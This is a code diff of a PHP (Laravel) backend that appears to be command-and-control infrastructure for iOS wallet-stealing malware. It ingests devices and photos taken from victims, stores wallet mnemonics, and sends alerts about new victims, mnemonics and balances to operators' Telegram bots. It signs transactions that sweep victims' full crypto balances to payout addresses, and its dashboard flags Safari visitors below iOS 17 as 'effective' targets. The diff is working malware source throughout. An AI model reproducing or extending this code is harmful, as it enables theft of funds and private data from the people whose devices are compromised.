|
||||
}
|
||||
$hex = dechex($len);
|
||||
if (strlen($hex) % 2 !== 0) {
|
||||
$hex = '0'.$hex;
|
||||
}
|
||||
$bin = hex2bin($hex) ?: '';
|
||||
|
||||
return chr(strlen($bin) + $offset + 55).$bin;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Elliptic\EC;
|
||||
use kornrunner\Keccak;
|
||||
use RuntimeException;
|
||||
|
||||
final class EthSigner
|
||||
{
|
||||
/**
|
||||
* Sign a legacy EIP-155 transaction.
|
||||
*
|
||||
* @param array{nonce: string, gasPrice: string, gas: string, to: string, value: string, data: string} $tx
|
||||
* @return string 0x-prefixed raw tx hex
|
||||
*/
|
||||
public static function signLegacy(string $privateKeyHex, array $tx, int $chainId): string
|
||||
{
|
||||
$privateKeyHex = strtolower($privateKeyHex);
|
||||
if (str_starts_with($privateKeyHex, '0x')) {
|
||||
$privateKeyHex = substr($privateKeyHex, 2);
|
||||
}
|
||||
$to = strtolower($tx['to']);
|
||||
if (str_starts_with($to, '0x')) {
|
||||
$to = substr($to, 2);
|
||||
}
|
||||
$data = strtolower($tx['data'] ?? '');
|
||||
if (str_starts_with($data, '0x')) {
|
||||
$data = substr($data, 2);
|
||||
}
|
||||
|
||||
$fields = [
|
||||
EthRlp::intToBin($tx['nonce']),
|
||||
EthRlp::intToBin($tx['gasPrice']),
|
||||
EthRlp::intToBin($tx['gas']),
|
||||
hex2bin($to) ?: '',
|
||||
EthRlp::intToBin($tx['value']),
|
||||
$data === '' ? '' : (hex2bin($data) ?: ''),
|
||||
EthRlp::intToBin((string) $chainId),
|
||||
'',
|
||||
'',
|
||||
];
|
||||
|
||||
$unsigned = EthRlp::encodeList($fields);
|
||||
$hash = Keccak::hash($unsigned, 256);
|
||||
|
||||
$ec = new EC('secp256k1');
|
||||
$key = $ec->keyFromPrivate($privateKeyHex);
|
||||
$sig = $key->sign($hash, ['canonical' => true]);
|
||||
|
||||
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
$recovery = (int) ($sig->recoveryParam ?? 0);
|
||||
$v = (string) ($recovery + 35 + $chainId * 2);
|
||||
|
||||
$signed = EthRlp::encodeList([
|
||||
EthRlp::intToBin($tx['nonce']),
|
||||
EthRlp::intToBin($tx['gasPrice']),
|
||||
EthRlp::intToBin($tx['gas']),
|
||||
hex2bin($to) ?: '',
|
||||
EthRlp::intToBin($tx['value']),
|
||||
$data === '' ? '' : (hex2bin($data) ?: ''),
|
||||
EthRlp::intToBin($v),
|
||||
hex2bin($r) ?: '',
|
||||
hex2bin($s) ?: '',
|
||||
]);
|
||||
|
||||
return '0x'.bin2hex($signed);
|
||||
}
|
||||
|
||||
public static function publicAddress(string $privateKeyHex): string
|
||||
{
|
||||
$privateKeyHex = strtolower($privateKeyHex);
|
||||
if (str_starts_with($privateKeyHex, '0x')) {
|
||||
$privateKeyHex = substr($privateKeyHex, 2);
|
||||
}
|
||||
$ec = new EC('secp256k1');
|
||||
$pub = $ec->keyFromPrivate($privateKeyHex)->getPublic(false, 'hex');
|
||||
|
||||
return EthAddress::fromUncompressedPublicKey($pub);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
class DashboardStatsService
|
||||
{
|
||||
/**
|
||||
* @param array{
|
||||
* range?: string,
|
||||
* channel_id?: string,
|
||||
* channel_exact?: bool,
|
||||
* agent_user_id?: int,
|
||||
* agent?: ?User
|
||||
* } $filters
|
||||
* @return array{
|
||||
* total: int,
|
||||
* new_count: int,
|
||||
* active_count: int,
|
||||
* pv: int,
|
||||
* uv: int,
|
||||
* effective_pv: int,
|
||||
* effective_uv: int,
|
||||
* by_os: list<array{label: string, pv: int, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, pv: int, uv: int, pct: float}>,
|
||||
* range: string,
|
||||
* from: string,
|
||||
* to: string
|
||||
* }
|
||||
*/
|
||||
public function collect(array $filters = []): array
|
||||
{
|
||||
$range = (string) ($filters['range'] ?? '30d');
|
||||
[$from, $to] = $this->rangeBounds($range);
|
||||
|
||||
$channelId = trim((string) ($filters['channel_id'] ?? ''));
|
||||
$channelExact = (bool) ($filters['channel_exact'] ?? false);
|
||||
$agent = $filters['agent'] ?? null;
|
||||
$agentUserId = (int) ($filters['agent_user_id'] ?? 0);
|
||||
|
||||
$base = Device::query();
|
||||
AgentScope::applyDeviceChannelScope($base, $agent);
|
||||
if ($agent === null && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($base, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
if ($channelExact) {
|
||||
$base->where('channel_id', $channelId);
|
||||
} else {
|
||||
$base->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
}
|
||||
|
||||
$total = (clone $base)->count();
|
||||
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
if ($agent === null && $agentUserId > 0) {
|
||||
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
if ($channelExact) {
|
||||
$visits->where('channel_id', $channelId);
|
||||
} else {
|
||||
$visits->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
}
|
||||
$visits->whereBetween('created_at', [$from, $to]);
|
||||
|
||||
$pv = (clone $visits)->count();
|
||||
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
$effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q));
|
||||
$effectivePv = (clone $effectiveVisits)->count();
|
||||
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$iosVisits = (clone $visits)->where('os', 'iOS');
|
||||
$iosPv = (clone $iosVisits)->count();
|
||||
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$otherVisits = (clone $visits)->where(function (Builder $q) {
|
||||
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
|
||||
});
|
||||
$otherPv = (clone $otherVisits)->count();
|
||||
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$byOs = [
|
||||
$this->row('iOS', $iosPv, $iosUv, $pv),
|
||||
$this->row('其他', $otherPv, $otherUv, $pv),
|
||||
];
|
||||
|
||||
$byIosVersion = (clone $iosVisits)
|
||||
->select('os_version')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('os_version')
|
||||
->orderByDesc('pv')
|
||||
->limit(20)
|
||||
->get()
|
||||
->map(fn ($r) => $this->row(
|
||||
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
|
||||
(int) $r->pv,
|
||||
(int) $r->uv,
|
||||
$iosPv > 0 ? $iosPv : $pv,
|
||||
))
|
||||
->values()
|
||||
->all();
|
||||
|
||||
return [
|
||||
'total' => $total,
|
||||
'new_count' => $newCount,
|
||||
'active_count' => $activeCount,
|
||||
'pv' => $pv,
|
||||
'uv' => $uv,
|
||||
'effective_pv' => $effectivePv,
|
||||
'effective_uv' => $effectiveUv,
|
||||
'by_os' => $byOs,
|
||||
'by_ios_version' => $byIosVersion,
|
||||
'range' => $range,
|
||||
'from' => $from->toDateTimeString(),
|
||||
'to' => $to->toDateTimeString(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Map telegram /data day token to dashboard range key.
|
||||
* Empty / omitted → today.
|
||||
*/
|
||||
public function rangeFromDays(?string $days): string
|
||||
{
|
||||
$days = $days === null ? '' : trim($days);
|
||||
if ($days === '' || $days === '1') {
|
||||
return 'today';
|
||||
}
|
||||
|
||||
return match ($days) {
|
||||
'7' => '7d',
|
||||
'30' => '30d',
|
||||
default => throw new \InvalidArgumentException('Days must be 1, 7, or 30'),
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: Carbon, 1: Carbon}
|
||||
*/
|
||||
public function rangeBounds(string $range): array
|
||||
{
|
||||
$now = Carbon::now();
|
||||
|
||||
return match ($range) {
|
||||
'today', '1', '1d' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
|
||||
'yesterday' => [
|
||||
$now->copy()->subDay()->startOfDay(),
|
||||
$now->copy()->subDay()->endOfDay(),
|
||||
],
|
||||
'7d', '7' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
|
||||
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
|
||||
};
|
||||
}
|
||||
|
||||
private function applyEffectiveFilter(Builder $query): void
|
||||
{
|
||||
$query->where('os', 'iOS')
|
||||
->where('browser', 'Safari')
|
||||
->whereNotNull('os_version')
|
||||
->where('os_version', '!=', '');
|
||||
|
||||
$driver = DB::connection()->getDriverName();
|
||||
if ($driver === 'sqlite') {
|
||||
$query->whereRaw('CAST(os_version AS INTEGER) < 17');
|
||||
} else {
|
||||
$query->whereRaw("CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED) < 17");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{label: string, pv: int, uv: int, pct: float}
|
||||
*/
|
||||
private function row(string $label, int $pv, int $uv, int $totalPv): array
|
||||
{
|
||||
$pct = $totalPv > 0 ? round(($pv / $totalPv) * 100, 1) : 0.0;
|
||||
|
||||
return [
|
||||
'label' => $label,
|
||||
'pv' => $pv,
|
||||
'uv' => $uv,
|
||||
'pct' => $pct,
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -124,55 +124,84 @@ class IngestService
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* /api/user/avatar/put — create or touch device.
|
||||
* Create: fill profile + channel_id (put is the only trusted channel source).
|
||||
* Update: refresh updated_at; fill channel_id only when still empty (first trusted put).
|
||||
*/
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey = $deviceKey !== null
|
||||
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
|
||||
: $this->extractDeviceKey($payload);
|
||||
$deviceKey = $this->resolveDeviceKey($payload, $deviceKey);
|
||||
if (! $deviceKey) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$deviceModel = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
$touch = ['updated_at' => now()];
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
|
||||
$touch['channel_id'] = $channelId;
|
||||
}
|
||||
$existing->forceFill($touch)->saveQuietly();
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Other C2 routes — create device if missing so business rows can attach,
|
||||
* but never write channel_id (put will fill it later). Existing rows are left untouched.
|
||||
*/
|
||||
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey = $this->resolveDeviceKey($payload, $deviceKey);
|
||||
if (! $deviceKey) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
return $existing;
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
|
||||
}
|
||||
|
||||
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
|
||||
{
|
||||
$deviceKey = $deviceKey !== null
|
||||
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
|
||||
: $this->extractDeviceKey($payload);
|
||||
|
||||
return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null;
|
||||
}
|
||||
|
||||
private function channelIdEmpty(mixed $channelId): bool
|
||||
{
|
||||
return $channelId === null || $channelId === '';
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
|
||||
{
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
'ip' => $request->ip(),
|
||||
'device_model' => $this->extractDeviceModel($payload),
|
||||
'ios_version' => $this->extractIosVersion($payload),
|
||||
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
}
|
||||
if ($deviceModel !== null) {
|
||||
$attrs['device_model'] = $deviceModel;
|
||||
} elseif ($existing) {
|
||||
$attrs['device_model'] = $existing->device_model;
|
||||
}
|
||||
if ($ios !== null) {
|
||||
$attrs['ios_version'] = $ios;
|
||||
} elseif ($existing) {
|
||||
$attrs['ios_version'] = $existing->ios_version;
|
||||
}
|
||||
if ($channelId !== null) {
|
||||
$attrs['channel_id'] = $channelId;
|
||||
} elseif ($existing) {
|
||||
$attrs['channel_id'] = $existing->channel_id;
|
||||
}
|
||||
|
||||
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
['device_id' => $deviceKey],
|
||||
$attrs
|
||||
);
|
||||
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
||||
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
}
|
||||
$device = Device::query()->create($attrs);
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
|
||||
return $device->refresh();
|
||||
}
|
||||
@@ -450,35 +479,33 @@ class IngestService
|
||||
*/
|
||||
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
|
||||
{
|
||||
$notifiedNewSensitive = false;
|
||||
if (! $device->albumStorageEnabled()) {
|
||||
return;
|
||||
}
|
||||
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
}
|
||||
$bytes = file_get_contents($path);
|
||||
$sha = hash('sha256', $bytes);
|
||||
// Same file content → skip DB insert & telegram (idempotent).
|
||||
// Same file content → skip DB insert (idempotent).
|
||||
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
|
||||
continue;
|
||||
}
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
$photo = Photo::query()->create([
|
||||
Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
'size' => strlen($bytes),
|
||||
'x_hit' => $xHit,
|
||||
'x_hit' => $meta['x_hit'] ?? null,
|
||||
'upload_count' => $meta['upload_count'] ?? null,
|
||||
'process_index' => $meta['process_index'] ?? null,
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
|
||||
$this->telegram->notifyNewPhotos($device->device_id);
|
||||
$notifiedNewSensitive = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -2,24 +2,57 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TelegramNotifier
|
||||
{
|
||||
public function enabled(): bool
|
||||
public function systemEnabled(): bool
|
||||
{
|
||||
return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
|
||||
return trim((string) config('coruna.telegram.bot_token', '')) !== ''
|
||||
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
|
||||
}
|
||||
|
||||
public function send(string $text): bool
|
||||
/**
|
||||
* @return array{0: string, 1: string}|null [token, chatId]
|
||||
*/
|
||||
public function resolveDestination(?string $deviceKey = null): ?array
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
$agent = $this->resolveAgentForDeviceKey($deviceKey);
|
||||
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) {
|
||||
return [
|
||||
trim((string) $agent->bot_token),
|
||||
trim((string) $agent->chat_id),
|
||||
];
|
||||
}
|
||||
|
||||
if (! $this->systemEnabled()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return [
|
||||
trim((string) config('coruna.telegram.bot_token')),
|
||||
trim((string) config('coruna.telegram.owner_chat_id')),
|
||||
];
|
||||
}
|
||||
|
||||
public function enabled(?string $deviceKey = null): bool
|
||||
{
|
||||
return $this->resolveDestination($deviceKey) !== null;
|
||||
}
|
||||
|
||||
public function send(string $text, ?string $deviceKey = null): bool
|
||||
{
|
||||
$dest = $this->resolveDestination($deviceKey);
|
||||
if ($dest === null) {
|
||||
return false;
|
||||
}
|
||||
$token = config('coruna.telegram.bot_token');
|
||||
$chatId = config('coruna.telegram.owner_chat_id');
|
||||
[$token, $chatId] = $dest;
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(15)->asForm()->post(
|
||||
"https://api.telegram.org/bot{$token}/sendMessage",
|
||||
@@ -46,7 +79,7 @@ class TelegramNotifier
|
||||
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
||||
]));
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
||||
@@ -92,7 +125,7 @@ class TelegramNotifier
|
||||
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
|
||||
}
|
||||
|
||||
$this->send(implode("\n", $lines));
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
@@ -102,15 +135,7 @@ class TelegramNotifier
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewPhotos(string $deviceId): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
]));
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
@@ -131,7 +156,35 @@ class TelegramNotifier
|
||||
if ($balance !== null && trim($balance) !== '') {
|
||||
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
|
||||
}
|
||||
$this->send(implode("\n", $lines));
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
private function resolveAgentForDeviceKey(?string $deviceKey): ?User
|
||||
{
|
||||
$deviceKey = trim((string) $deviceKey);
|
||||
if ($deviceKey === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
$channelId = Device::query()
|
||||
->where('device_id', $deviceKey)
|
||||
->value('channel_id');
|
||||
if (! is_string($channelId) || $channelId === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$userId = Channel::query()
|
||||
->where('channel_id', $channelId)
|
||||
->value('user_id');
|
||||
if ($userId === null || (int) $userId <= 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return User::query()->find((int) $userId);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
@@ -15,29 +16,50 @@ class TransferService
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Sweep from a known device address to the configured payout address.
|
||||
* Sweep from a known device address to the configured TRANSFER_TO_ADDRESS_*.
|
||||
* Looks up mnemonics by the address row's device_id + source; tries each in order
|
||||
* (and BIP44 indexes) until the derived address matches $fromAddress.
|
||||
* Null / empty $amount means transfer the full on-chain balance of $asset.
|
||||
*
|
||||
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
||||
*/
|
||||
public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
|
||||
{
|
||||
public function handle(
|
||||
string $chain,
|
||||
string $fromAddress,
|
||||
?string $amount = null,
|
||||
string $asset = 'USDT',
|
||||
?string $operator = null,
|
||||
): array {
|
||||
$chain = strtolower(trim($chain));
|
||||
$record = [
|
||||
'from_address' => $fromAddress,
|
||||
'to_address' => null,
|
||||
'chain' => $chain,
|
||||
'tx_hash' => null,
|
||||
'amount' => $amount === null || trim($amount) === '' ? null : trim($amount),
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => strtoupper(trim($asset)),
|
||||
'operator' => $operator,
|
||||
'status' => TransferRecord::STATUS_FAILED,
|
||||
'error' => null,
|
||||
];
|
||||
|
||||
try {
|
||||
$to = trim((string) config('coruna.transfer.to_address', ''));
|
||||
$to = $this->toAddress($chain);
|
||||
if ($to === '') {
|
||||
return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
|
||||
return $this->finish($record, ['ok' => false, 'error' => $this->missingToAddressError($chain)]);
|
||||
}
|
||||
$record['to_address'] = $to;
|
||||
|
||||
$asset = strtoupper(trim($asset));
|
||||
$record['asset'] = $asset;
|
||||
$driver = $this->chains->resolve($chain);
|
||||
|
||||
if (! $driver->isValidAddress($fromAddress)) {
|
||||
return ['ok' => false, 'error' => 'Invalid from address'];
|
||||
return $this->finish($record, ['ok' => false, 'error' => 'Invalid from address']);
|
||||
}
|
||||
if (! $driver->isValidAddress($to)) {
|
||||
return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
|
||||
return $this->finish($record, ['ok' => false, 'error' => 'Invalid to address']);
|
||||
}
|
||||
|
||||
$amount = $amount === null ? null : trim($amount);
|
||||
@@ -46,58 +68,151 @@ class TransferService
|
||||
}
|
||||
|
||||
if ($amount === null) {
|
||||
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
|
||||
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset, $chain);
|
||||
}
|
||||
$record['amount'] = $amount;
|
||||
|
||||
$this->assertAmountWithinLimit($amount, $asset);
|
||||
|
||||
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
||||
if ($resolved === null) {
|
||||
return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
|
||||
return $this->finish($record, ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']);
|
||||
}
|
||||
|
||||
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
||||
|
||||
$txid = match ($asset) {
|
||||
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'USDT' => $driver->sendToken(
|
||||
$mnemonic,
|
||||
$index,
|
||||
$to,
|
||||
$amount,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
$this->usdtContract($chain),
|
||||
),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
return [
|
||||
$record['tx_hash'] = $txid;
|
||||
$record['status'] = TransferRecord::STATUS_SUCCESS;
|
||||
|
||||
return $this->finish($record, [
|
||||
'ok' => true,
|
||||
'txid' => $txid,
|
||||
'from' => $fromAddress,
|
||||
'to' => $to,
|
||||
'amount' => $amount,
|
||||
'asset' => $asset,
|
||||
];
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
$record['error'] = $e->getMessage();
|
||||
|
||||
return $this->finish($record, ['ok' => false, 'error' => $e->getMessage()]);
|
||||
}
|
||||
}
|
||||
|
||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
|
||||
/**
|
||||
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
|
||||
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
|
||||
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
||||
*/
|
||||
private function finish(array $record, array $result): array
|
||||
{
|
||||
if (! ($result['ok'] ?? false)) {
|
||||
$record['status'] = TransferRecord::STATUS_FAILED;
|
||||
$record['error'] = $record['error'] ?: ($result['error'] ?? 'Transfer failed');
|
||||
}
|
||||
|
||||
try {
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => (string) ($record['from_address'] ?? ''),
|
||||
'to_address' => $record['to_address'],
|
||||
'chain' => (string) ($record['chain'] ?? ''),
|
||||
'tx_hash' => $record['tx_hash'],
|
||||
'amount' => $record['amount'],
|
||||
'type' => (string) ($record['type'] ?? TransferRecord::TYPE_OUT),
|
||||
'asset' => (string) ($record['asset'] ?? ''),
|
||||
'operator' => $record['operator'],
|
||||
'status' => (string) ($record['status'] ?? TransferRecord::STATUS_FAILED),
|
||||
'error' => $record['error'],
|
||||
]);
|
||||
} catch (\Throwable) {
|
||||
// never break transfer for persistence failures
|
||||
}
|
||||
|
||||
create_log([
|
||||
'event' => 'transfer',
|
||||
'ok' => (bool) ($result['ok'] ?? false),
|
||||
'from' => $record['from_address'],
|
||||
'to' => $record['to_address'],
|
||||
'chain' => $record['chain'],
|
||||
'tx_hash' => $record['tx_hash'],
|
||||
'amount' => $record['amount'],
|
||||
'type' => $record['type'],
|
||||
'asset' => $record['asset'],
|
||||
'operator' => $record['operator'],
|
||||
'status' => $record['status'],
|
||||
'error' => $record['error'],
|
||||
], 'transfer');
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
private function toAddress(string $chain): string
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
|
||||
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
|
||||
default => trim((string) config('coruna.transfer.to_address', '')),
|
||||
};
|
||||
}
|
||||
|
||||
private function missingToAddressError(string $chain): string
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
|
||||
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
|
||||
default => 'TRANSFER_TO_ADDRESS is not configured',
|
||||
};
|
||||
}
|
||||
|
||||
private function usdtContract(string $chain): string
|
||||
{
|
||||
$contract = match ($chain) {
|
||||
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
|
||||
default => trim((string) config('coruna.tron.usdt_contract', '')),
|
||||
};
|
||||
if ($contract === '') {
|
||||
throw new RuntimeException('USDT contract is not configured for '.$chain);
|
||||
}
|
||||
|
||||
return $contract;
|
||||
}
|
||||
|
||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
|
||||
{
|
||||
$balance = match ($asset) {
|
||||
'TRX' => $driver->getNativeBalance($fromAddress),
|
||||
'USDT' => $driver->getTokenBalance(
|
||||
$fromAddress,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
),
|
||||
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
|
||||
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
if ($asset === 'TRX') {
|
||||
$reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
|
||||
if ($reserve !== '' && bccomp($reserve, '0') > 0) {
|
||||
$balance = bcsub($balance, $reserve, 6);
|
||||
$reserveKey = match ($asset) {
|
||||
'TRX' => 'coruna.transfer.trx_fee_reserve',
|
||||
'ETH' => 'coruna.transfer.eth_fee_reserve',
|
||||
